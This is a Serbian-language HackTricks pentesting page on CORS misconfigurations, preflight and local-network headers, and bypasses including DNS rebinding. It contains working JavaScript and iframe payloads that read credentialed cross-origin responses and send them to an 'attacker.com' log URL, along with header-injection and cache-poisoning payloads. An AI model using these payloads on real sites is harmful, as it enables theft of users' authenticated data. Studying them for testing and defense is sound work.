Serbian - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Podržite HackTricks

Šta je CORS?

Cross-Origin Resource Sharing (CORS) standard omogućava serverima da definišu ko može da pristupi njihovim resursima i koje HTTP metode zahteva su dozvoljene iz spoljašnjih izvora.

Politika istog porekla nalaže da server koji zahteva resurs i server koji hostuje resurs dele isti protokol (npr., http://), naziv domena (npr., internal-web.com), i port (npr., 80). Prema ovoj politici, samo web stranice sa istog domena i porta imaju dozvolu za pristup resursima.

Primena politike istog porekla u kontekstu http://normal-website.com/example/example.html ilustrovana je na sledeći način:

URL pristupljenDa li je pristup dozvoljen?

http://normal-website.com/example/

Da: Identičan shema, domen i port

http://normal-website.com/example2/

Da: Identičan shema, domen i port

https://normal-website.com/example/

Ne: Drugačija shema i port

http://en.normal-website.com/example/

Ne: Drugačiji domen

http://www.normal-website.com/example/

Ne: Drugačiji domen

http://normal-website.com:8080/example/

Ne: Drugi port*

*Internet Explorer zanemaruje broj porta prilikom primene politike istog porekla, čime omogućava ovaj pristup.

Access-Control-Allow-Origin Header

Ovaj header može dozvoliti više porekla, null vrednost, ili wildcard *. Međutim, nijedan pretraživač ne podržava više porekla, a korišćenje wildcard * podložno je ograničenjima. (Wildcard mora biti korišćen samostalno, a njegovo korišćenje zajedno sa Access-Control-Allow-Credentials: true nije dozvoljeno.)

Ovaj header je izdat od strane servera kao odgovor na zahtev za resursom iz drugog domena koji je pokrenut od strane web stranice, pri čemu pretraživač automatski dodaje Origin header.

Access-Control-Allow-Credentials Header

Po default-u, zahtevi iz drugog porekla se šalju bez kredencijala kao što su kolačići ili Authorization header. Ipak, server iz drugog domena može dozvoliti čitanje odgovora kada su kredencijali poslati postavljanjem Access-Control-Allow-Credentials header-a na true.

Ako je postavljen na true, pretraživač će preneti kredencijale (kolačiće, autorizacione heder-e, ili TLS klijentske sertifikate).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Razumevanje Pre-flight zahteva u komunikaciji između domena

Kada se pokreće zahtev između domena pod specifičnim uslovima, kao što su korišćenje ne-standardne HTTP metode (bilo šta osim HEAD, GET, POST), uvođenje novih zaglavlja, ili korišćenje posebne vrednosti zaglavlja Content-Type, može biti potreban pre-flight zahtev. Ovaj preliminarni zahtev, koji koristi OPTIONS metodu, služi da obavesti server o namerama nadolazećeg cross-origin zahteva, uključujući HTTP metode i zaglavlja koja namerava da koristi.

Protokol Cross-Origin Resource Sharing (CORS) zahteva ovu pre-flight proveru kako bi se utvrdila izvodljivost tražene cross-origin operacije verifikovanjem dozvoljenih metoda, zaglavlja i pouzdanosti porekla. Za detaljno razumevanje uslova koji zaobilaze potrebu za pre-flight zahtevom, pogledajte sveobuhvatan vodič koji pruža Mozilla Developer Network (MDN).

Važno je napomenuti da odsustvo pre-flight zahteva ne ukida obavezu da odgovor nosi autorizacijska zaglavlja. Bez ovih zaglavlja, pregledač je onemogućen u svojoj sposobnosti da obradi odgovor iz cross-origin zahteva.

Razmotrite sledeću ilustraciju pre-flight zahteva koji ima za cilj korišćenje PUT metode zajedno sa prilagođenim zaglavljem pod nazivom Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

U odgovoru, server može vratiti zaglavlja koja ukazuju na prihvaćene metode, dozvoljeni izvor i druge detalje CORS politike, kao što je prikazano u nastavku:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Ova zaglavlja specificira koja zaglavlja mogu biti korišćena tokom stvarnog zahteva. Postavlja ga server da označi dozvoljena zaglavlja u zahtevima od klijenta.

  • Access-Control-Expose-Headers: Kroz ovo zaglavlje, server obaveštava klijenta o tome koja zaglavlja mogu biti izložena kao deo odgovora pored jednostavnih zaglavlja odgovora.

  • Access-Control-Max-Age: Ova zaglavlja označava koliko dugo rezultati pre-flight zahteva mogu biti keširani. Server postavlja maksimalno vreme, u sekundama, koje se informacije vraćene pre-flight zahtevom mogu ponovo koristiti.

  • Access-Control-Request-Headers: Koristi se u pre-flight zahtevima, ovo zaglavlje postavlja klijent da obavesti server o tome koja HTTP zaglavlja klijent želi da koristi u stvarnom zahtevu.

  • Access-Control-Request-Method: Ova zaglavlja, takođe korišćena u pre-flight zahtevima, postavlja klijent da označi koji HTTP metod će biti korišćen u stvarnom zahtevu.

  • Origin: Ova zaglavlja automatski postavlja pregledač i označava poreklo cross-origin zahteva. Koristi ga server da proceni da li bi dolazni zahtev trebao biti dozvoljen ili odbijen na osnovu CORS politike.

Napomena da obično (u zavisnosti od tipa sadržaja i postavljenih zaglavlja) u GET/POST zahtevu ne šalje se pre-flight zahtev (zahtev se šalje direktno), ali ako želite da pristupite zaglavljima/telu odgovora, mora sadržati Access-Control-Allow-Origin zaglavlje koje to dozvoljava. Stoga, CORS ne štiti od CSRF (ali može biti od pomoći).

Zahtevi za lokalnu mrežu Pre-flight zahtev

  1. Access-Control-Request-Local-Network: Ova zaglavlja se uključuje u zahtev klijenta da označi da je upit usmeren na resurs lokalne mreže. Služi kao oznaka da obavesti server da zahtev potiče iz lokalne mreže.

  2. Access-Control-Allow-Local-Network: U odgovoru, serveri koriste ovo zaglavlje da komuniciraju da je traženi resurs dozvoljeno deliti sa entitetima van lokalne mreže. Deluje kao zeleno svetlo za deljenje resursa preko različitih mrežnih granica, osiguravajući kontrolisan pristup uz održavanje sigurnosnih protokola.

Validan odgovor koji dozvoljava zahtev lokalne mreže takođe treba da ima u odgovoru zaglavlje Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Napomena da linux 0.0.0.0 IP radi za bypass ovih zahteva za pristup localhost-u, jer se ta IP adresa ne smatra "lokalnom".

Takođe je moguće bypass-ovati zahteve za lokalnu mrežu ako koristite javnu IP adresu lokalnog krajnjeg tačke (kao što je javna IP adresa rutera). Jer u nekoliko slučajeva, čak i ako se pristupa javnoj IP, ako je iz lokalne mreže, pristup će biti odobren.

Iskoristive pogrešne konfiguracije

Primećeno je da je postavljanje Access-Control-Allow-Credentials na true preduslov za većinu pravih napada. Ova postavka omogućava pretraživaču da šalje akreditive i čita odgovor, povećavajući efikasnost napada. Bez toga, korist od slanja zahteva putem pretraživača umesto lično opada, jer korišćenje korisnikovih kolačića postaje neizvodljivo.

Izuzetak: Iskorišćavanje Mrežne Lokacije kao Autentifikacije

Postoji izuzetak gde mrežna lokacija žrtve deluje kao oblik autentifikacije. Ovo omogućava korišćenje pretraživača žrtve kao proxy, zaobilaženje autentifikacije zasnovane na IP-u za pristup intranet aplikacijama. Ova metoda deli sličnosti u uticaju sa DNS rebinding-om, ali je jednostavnija za iskorišćavanje.

Odsijavanje Origin u Access-Control-Allow-Origin

Scenarij iz stvarnog sveta gde se vrednost Origin zaglavlja odražava u Access-Control-Allow-Origin je teoretski malo verovatan zbog ograničenja u kombinovanju ovih zaglavlja. Međutim, programeri koji žele da omoguće CORS za više URL-ova mogu dinamički generisati Access-Control-Allow-Origin zaglavlje kopirajući vrednost Origin zaglavlja. Ovaj pristup može uvesti ranjivosti, posebno kada napadač koristi domen sa imenom koje deluje legitimno, obmanjujući logiku validacije.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Iskorišćavanje null porekla

null poreklo, određeno za situacije kao što su preusmeravanja ili lokalne HTML datoteke, ima jedinstvenu poziciju. Neke aplikacije stavljaju ovo poreklo na belu listu kako bi olakšale lokalni razvoj, nenamerno omogućavajući bilo kojoj veb stranici da imitira null poreklo putem sandbox-ovanog iframe-a, čime se zaobilaze CORS ograničenja.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Tehnike za zaobilaženje regularnih izraza

Kada se susretnete sa belom listom domena, ključno je testirati mogućnosti za zaobilaženje, kao što je dodavanje domena napadača na belu listu ili iskorišćavanje ranjivosti preuzimanja poddomena. Pored toga, regularni izrazi korišćeni za validaciju domena mogu zanemariti nijanse u konvencijama imenovanja domena, što predstavlja dodatne mogućnosti za zaobilaženje.

Napredna zaobilaženja regularnih izraza

Regex obrasci obično se fokusiraju na alfanumeričke, tačku (.) i crticu (-), zanemarujući druge mogućnosti. Na primer, naziv domena napravljen da uključuje karaktere koje pregledači i regex obrasci tumače drugačije može zaobići bezbednosne provere. Kako Safari, Chrome i Firefox obrađuju karaktere donje crte u poddomenima ilustruje kako se takve razlike mogu iskoristiti za zaobilaženje logike validacije domena.

Za više informacija i podešavanja ove provere zaobilaženja: https://www.corben.io/advanced-cors-techniques/ i https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Iz XSS unutar poddomena

Programeri često implementiraju odbrambene mehanizme kako bi se zaštitili od CORS eksploatacije beljenjem domena koji su dozvoljeni da traže informacije. I pored ovih mera opreza, bezbednost sistema nije nepogrešiva. Prisutnost čak i jednog ranjivog poddomena unutar belih listi domena može otvoriti vrata CORS eksploataciji kroz druge ranjivosti, kao što je XSS (Cross-Site Scripting).

Da ilustrujemo, razmotrite scenario u kojem je domen, requester.com, stavljen na belu listu da pristupa resursima sa drugog domena, provider.com. Konfiguracija na serverskoj strani može izgledati ovako:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

U ovoj postavci, svi poddomeni requester.com imaju dozvoljen pristup. Međutim, ako je poddomen, recimo sub.requester.com, kompromitovan XSS ranjivošću, napadač može iskoristiti ovu slabost. Na primer, napadač sa pristupom sub.requester.com mogao bi iskoristiti XSS ranjivost da zaobiđe CORS politike i zlonamerno pristupi resursima na provider.com.

Trovanje keša na serverskoj strani

Iz ove studije

Moguće je da se iskorišćavanjem trovanja keša na serverskoj strani putem injekcije HTTP header-a može izazvati pohranjena Cross-Site Scripting (XSS) ranjivost. Ovaj scenario se odvija kada aplikacija ne uspe da sanitizuje Origin header od nelegalnih karaktera, stvarajući ranjivost posebno za korisnike Internet Explorer-a i Edge-a. Ovi pregledači tretiraju (0x0d) kao legitimni terminator HTTP header-a, što dovodi do ranjivosti injekcije HTTP header-a.

Razmotrite sledeći zahtev gde je Origin header manipulisan:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer i Edge interpretiraju odgovor kao:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Dok direktno iskorišćavanje ove ranjivosti slanjem neispravnog zaglavlja putem web pretraživača nije izvodljivo, može se ručno generisati prilagođeni zahtev koristeći alate poput Burp Suite. Ova metoda može dovesti do toga da server-side keš sačuva odgovor i nenamerno ga poslužuje drugima. Prilagođeni payload ima za cilj da izmeni karakter set stranice na UTF-7, kodiranje karaktera koje se često povezuje sa XSS ranjivostima zbog svoje sposobnosti da kodira karaktere na način koji može biti izvršen kao skripta u određenim kontekstima.

Za dalju literaturu o pohranjenim XSS ranjivostima, pogledajte PortSwigger.

Napomena: Iskorišćavanje ranjivosti injekcije HTTP zaglavlja, posebno kroz trovanje server-side keša, naglašava kritičnu važnost validacije i sanitizacije svih korisničkih unosa, uključujući HTTP zaglavlja. Uvek primenjujte robusni sigurnosni model koji uključuje validaciju unosa kako biste sprečili takve ranjivosti.

Trovanje keša na klijentskoj strani

Iz ovog istraživanja

U ovom scenariju, primećena je instanca web stranice koja reflektuje sadržaj prilagođenog HTTP zaglavlja bez pravilnog kodiranja. Konkretno, web stranica vraća sadržaj uključen u X-User-id zaglavlje, koje može uključivati zlonamerni JavaScript, kao što je prikazano u primeru gde zaglavlje sadrži SVG tag za sliku dizajniran da izvrši JavaScript kod prilikom učitavanja.

Cross-Origin Resource Sharing (CORS) politike omogućavaju slanje prilagođenih zaglavlja. Međutim, bez toga da odgovor bude direktno prikazan od strane pretraživača zbog CORS ograničenja, korisnost takve injekcije može delovati ograničeno. Kritična tačka se javlja kada se razmatra ponašanje keša pretraživača. Ako Vary: Origin zaglavlje nije specificirano, postaje moguće da zlonamerni odgovor bude keširan od strane pretraživača. Nakon toga, ovaj keširani odgovor može biti direktno prikazan prilikom navigacije na URL, zaobilazeći potrebu za direktnim prikazivanjem prilikom inicijalnog zahteva. Ovaj mehanizam poboljšava pouzdanost napada korišćenjem keširanja na klijentskoj strani.

Da ilustruje ovaj napad, pružen je JavaScript primer, dizajniran da se izvrši u okruženju web stranice, kao što je kroz JSFiddle. Ovaj skript izvršava jednostavnu radnju: šalje zahtev na određeni URL sa prilagođenim zaglavljem koje sadrži zlonamerni JavaScript. Nakon uspešnog završetka zahteva, pokušava da se navigira na ciljani URL, potencijalno pokrećući izvršenje injektovane skripte ako je odgovor keširan bez pravilnog rukovanja Vary: Origin zaglavljem.

Evo sažetka JavaScript-a koji se koristi za izvršenje ovog napada:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, poznat i kao Cross-Site Script Inclusion, je vrsta ranjivosti koja koristi činjenicu da se Pravilo iste porekla (SOP) ne primenjuje prilikom uključivanja resursa koristeći script tag. To je zato što skripte moraju moći da se uključuju sa različitih domena. Ova ranjivost omogućava napadaču da pristupi i pročita bilo koji sadržaj koji je uključen koristeći script tag.

Ova ranjivost postaje posebno značajna kada su u pitanju dinamički JavaScript ili JSONP (JSON sa Padding), posebno kada se informacije o ambijentalnim ovlašćenjima kao što su kolačići koriste za autentifikaciju. Kada se zahteva resurs sa drugog hosta, kolačići se uključuju, čineći ih dostupnim napadaču.

Da biste bolje razumeli i ublažili ovu ranjivost, možete koristiti BurpSuite dodatak dostupan na https://github.com/kapytein/jsonp. Ovaj dodatak može pomoći u identifikaciji i rešavanju potencijalnih XSSI ranjivosti u vašim web aplikacijama.

Pročitajte više o različitim vrstama XSSI i kako ih iskoristiti ovde.

Pokušajte da dodate callback parametar u zahtev. Možda je stranica pripremljena da pošalje podatke kao JSONP. U tom slučaju, stranica će poslati nazad podatke sa Content-Type: application/javascript, što će zaobići CORS politiku.

Laka (beskorisna?) zaobilaženja

Jedan od načina da se zaobiđe ograničenje Access-Control-Allow-Origin je da se zatraži od web aplikacije da napravi zahtev u vaše ime i pošalje nazad odgovor. Međutim, u ovom scenariju, akreditivi konačne žrtve neće biti poslati jer se zahtev upućuje drugom domenu.

  1. CORS-escape: Ovaj alat pruža proxy koji prosleđuje vaš zahtev zajedno sa njegovim zaglavljima, dok takođe lažira Origin zaglavlje da odgovara traženom domenu. Ovo efikasno zaobilazi CORS politiku. Evo primera korišćenja sa XMLHttpRequest:

  2. simple-cors-escape: Ovaj alat nudi alternativni pristup proxy-ju zahteva. Umesto da prosledi vaš zahtev onako kako jeste, server pravi svoj zahtev sa specificiranim parametrima.

Iframe + Popup zaobilaženje

Možete zaobići CORS provere kao što su e.origin === window.origin tako što ćete napraviti iframe i iz njega otvoriti novi prozor. Više informacija na sledećoj stranici:

Iframes in XSS, CSP and SOP

DNS Rebinding putem TTL

DNS rebinding putem TTL je tehnika koja se koristi za zaobilaženje određenih bezbednosnih mera manipulacijom DNS zapisa. Evo kako to funkcioniše:

  1. Napadač kreira web stranicu i navodi žrtvu da joj pristupi.

  2. Napadač zatim menja DNS (IP) svog domena da ukazuje na web stranicu žrtve.

  3. Pregledač žrtve kešira DNS odgovor, koji može imati TTL (Time to Live) vrednost koja označava koliko dugo se DNS zapis treba smatrati važećim.

  4. Kada TTL istekne, pregledač žrtve pravi novi DNS zahtev, omogućavajući napadaču da izvrši JavaScript kod na stranici žrtve.

  5. Održavanjem kontrole nad IP adresom žrtve, napadač može prikupljati informacije od žrtve bez slanja bilo kakvih kolačića na server žrtve.

Važno je napomenuti da pregledači imaju mehanizme keširanja koji mogu sprečiti trenutnu zloupotrebu ove tehnike, čak i sa niskim TTL vrednostima.

DNS rebinding može biti koristan za zaobilaženje eksplicitnih IP provera koje vrši žrtva ili za scenarije u kojima korisnik ili bot ostaje na istoj stranici duži vremenski period, omogućavajući kešu da istekne.

Ako vam je potreban brz način za zloupotrebu DNS rebinding-a, možete koristiti usluge kao što su https://lock.cmpxchg8b.com/rebinder.html.

Da biste pokrenuli svoj DNS rebinding server, možete koristiti alate kao što su DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Ovo uključuje izlaganje vašeg lokalnog porta 53/udp, kreiranje A zapisa koji ukazuje na njega (npr. ns.example.com), i kreiranje NS zapisa koji ukazuje na prethodno kreirani A poddomen (npr. ns.example.com). Bilo koji poddomen ns.example.com poddomena će tada biti rešen od strane vašeg hosta.

Možete takođe istražiti javno pokrenuti server na http://rebind.it/singularity.html za dalju razumevanje i eksperimentisanje.

DNS Rebinding putem DNS Cache Flooding

DNS rebinding putem DNS cache flooding je još jedna tehnika koja se koristi za zaobilaženje mehanizma keširanja pregledača i prisiljavanje drugog DNS zahteva. Evo kako to funkcioniše:

  1. U početku, kada žrtva napravi DNS zahtev, odgovara se sa IP adresom napadača.

  2. Da bi zaobišao mehanizam keširanja, napadač koristi servisnog radnika. Servisni radnik poplavljuje DNS keš, što efikasno briše keširano ime servera napadača.

  3. Kada pregledač žrtve napravi drugi DNS zahtev, sada se odgovara sa IP adresom 127.0.0.1, koja obično se odnosi na localhost.

Poplavljujući DNS keš sa servisnim radnikom, napadač može manipulisati procesom DNS rezolucije i prisiliti pregledač žrtve da napravi drugi zahtev, ovaj put rešavajući na IP adresu koju napadač želi.

DNS Rebinding putem Keša

Još jedan način da se zaobiđe mehanizam keširanja je korišćenjem više IP adresa za isti poddomen kod DNS provajdera. Evo kako to funkcioniše:

  1. Napadač postavlja dva A zapisa (ili jedan A zapis sa dve IP adrese) za isti poddomen kod DNS provajdera.

  2. Kada pregledač proverava ove zapise, prima obe IP adrese.

  3. Ako pregledač odluči da prvo koristi IP adresu napadača, napadač može poslužiti payload koji vrši HTTP zahteve na istom domenu.

  4. Međutim, kada napadač dobije IP adresu žrtve, prestaje da odgovara pregledaču žrtve.

  5. Pregledač žrtve, shvativši da domen nije odgovoran, prelazi na korišćenje druge date IP adrese.

  6. Pristupanjem drugoj IP adresi, pregledač zaobilazi Pravilo iste porekla (SOP), omogućavajući napadaču da zloupotrebi ovo i prikupi i eksfiltrira informacije.

Ova tehnika koristi ponašanje pregledača kada se za domen pružaju više IP adresa. Kontrolisanjem odgovora i manipulisanjem izbora IP adrese od strane pregledača, napadač može iskoristiti SOP i pristupiti informacijama od žrtve.

Napomena da da biste pristupili localhost-u, trebate pokušati da ponovo povežete 127.0.0.1 u Windows-u i 0.0.0.0 u Linux-u. Provajderi kao što su godaddy ili cloudflare nisu mi dozvolili da koristim IP 0.0.0.0, ali AWS route53 mi je dozvolio da kreiram jedan A zapis sa 2 IP adrese, od kojih je jedna "0.0.0.0"

Za više informacija možete proveriti https://unit42.paloaltonetworks.com/dns-rebinding/

Druge uobičajene zaobilaženja

  • Ako interni IP-ovi nisu dozvoljeni, možda su zaboravili da zabrane 0.0.0.0 (radi na Linux-u i Mac-u)

  • Ako interni IP-ovi nisu dozvoljeni, odgovarajte sa CNAME na localhost (radi na Linux-u i Mac-u)

  • Ako interni IP-ovi nisu dozvoljeni kao DNS odgovori, možete odgovoriti sa CNAME-ima na interne servise kao što su www.corporate.internal.

DNS Rebidding Weaponized

Možete pronaći više informacija o prethodnim tehnikama zaobilaženja i kako koristiti sledeći alat u predavanju Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin je alat za izvođenje DNS rebinding napada. Uključuje potrebne komponente za ponovo povezivanje IP adrese DNS imena servera napada na IP adresu ciljne mašine i za posluživanje napadačkih payload-a za iskorišćavanje ranjivog softvera na ciljnoj mašini.

Prava zaštita od DNS Rebinding

  • Koristite TLS u internim servisima

  • Zahtevajte autentifikaciju za pristup podacima

  • Validirajte Host zaglavlje

  • https://wicg.github.io/private-network-access/: Predlog da se uvek šalje pre-flight zahtev kada javni serveri žele da pristupe internim serverima

Alati

Fuzz moguće pogrešne konfiguracije u CORS politikama

Reference

Podrška HackTricks
PreviousCookie BombNextCRLF (%0D%0A) Injection

Last updated